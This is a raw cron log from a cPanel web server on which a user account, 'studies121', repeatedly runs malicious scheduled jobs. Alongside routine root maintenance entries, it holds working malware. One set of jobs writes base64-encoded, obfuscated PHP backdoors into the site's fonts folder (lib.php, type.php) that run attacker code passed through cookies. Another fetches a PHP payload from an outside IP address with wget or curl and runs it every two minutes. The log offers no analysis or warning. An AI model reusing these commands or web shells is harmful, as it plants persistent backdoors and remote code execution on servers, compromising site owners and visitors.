Aug 31 17:42:01 ip-184-168-122-23 CROND[5753]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:43:01 ip-184-168-122-23 CROND[5918]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:43:01 ip-184-168-122-23 CROND[5920]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:43:01 ip-184-168-122-23 CROND[5921]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:43:01 ip-184-168-122-23 CROND[5919]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:44:01 ip-184-168-122-23 CROND[6011]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:44:01 ip-184-168-122-23 CROND[6012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:44:01 ip-184-168-122-23 CROND[6015]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:44:01 ip-184-168-122-23 CROND[6016]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 17:44:01 ip-184-168-122-23 CROND[6017]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:45:01 ip-184-168-122-23 CROND[6109]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:45:01 ip-184-168-122-23 CROND[6112]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:45:01 ip-184-168-122-23 CROND[6113]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 17:45:01 ip-184-168-122-23 CROND[6111]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:45:01 ip-184-168-122-23 CROND[6114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:45:01 ip-184-168-122-23 CROND[6115]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 17:46:01 ip-184-168-122-23 CROND[6208]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 17:46:01 ip-184-168-122-23 CROND[6210]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:46:01 ip-184-168-122-23 CROND[6212]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:46:01 ip-184-168-122-23 CROND[6211]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:46:01 ip-184-168-122-23 CROND[6215]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 17:46:01 ip-184-168-122-23 CROND[6213]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:46:01 ip-184-168-122-23 CROND[6216]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 31 17:47:01 ip-184-168-122-23 CROND[6304]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:47:01 ip-184-168-122-23 CROND[6306]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:47:01 ip-184-168-122-23 CROND[6305]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:47:01 ip-184-168-122-23 CROND[6307]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:48:01 ip-184-168-122-23 CROND[6396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:48:01 ip-184-168-122-23 CROND[6400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:48:01 ip-184-168-122-23 CROND[6399]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:48:01 ip-184-168-122-23 CROND[6398]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 17:48:01 ip-184-168-122-23 CROND[6403]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:49:02 ip-184-168-122-23 CROND[6490]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:49:02 ip-184-168-122-23 CROND[6492]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:49:02 ip-184-168-122-23 CROND[6493]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:49:02 ip-184-168-122-23 CROND[6494]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:50:01 ip-184-168-122-23 CROND[6597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:50:01 ip-184-168-122-23 CROND[6595]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 17:50:01 ip-184-168-122-23 CROND[6602]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:50:01 ip-184-168-122-23 CROND[6601]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 17:50:01 ip-184-168-122-23 CROND[6605]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 17:50:01 ip-184-168-122-23 CROND[6607]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:50:01 ip-184-168-122-23 CROND[6608]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:50:01 ip-184-168-122-23 CROND[6606]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 17:50:01 ip-184-168-122-23 CROND[6610]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 17:51:01 ip-184-168-122-23 CROND[6778]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:51:01 ip-184-168-122-23 CROND[6780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:51:01 ip-184-168-122-23 CROND[6782]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:51:01 ip-184-168-122-23 CROND[6781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:52:01 ip-184-168-122-23 CROND[6859]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:52:01 ip-184-168-122-23 CROND[6861]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:52:01 ip-184-168-122-23 CROND[6862]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 17:52:01 ip-184-168-122-23 CROND[6863]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:52:01 ip-184-168-122-23 CROND[6864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:53:01 ip-184-168-122-23 CROND[6946]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:53:01 ip-184-168-122-23 CROND[6948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:53:01 ip-184-168-122-23 CROND[6947]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:53:01 ip-184-168-122-23 CROND[6949]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:54:01 ip-184-168-122-23 CROND[7039]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:54:01 ip-184-168-122-23 CROND[7041]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 17:54:01 ip-184-168-122-23 CROND[7042]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:54:01 ip-184-168-122-23 CROND[7043]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:54:01 ip-184-168-122-23 CROND[7044]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:55:01 ip-184-168-122-23 CROND[7130]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
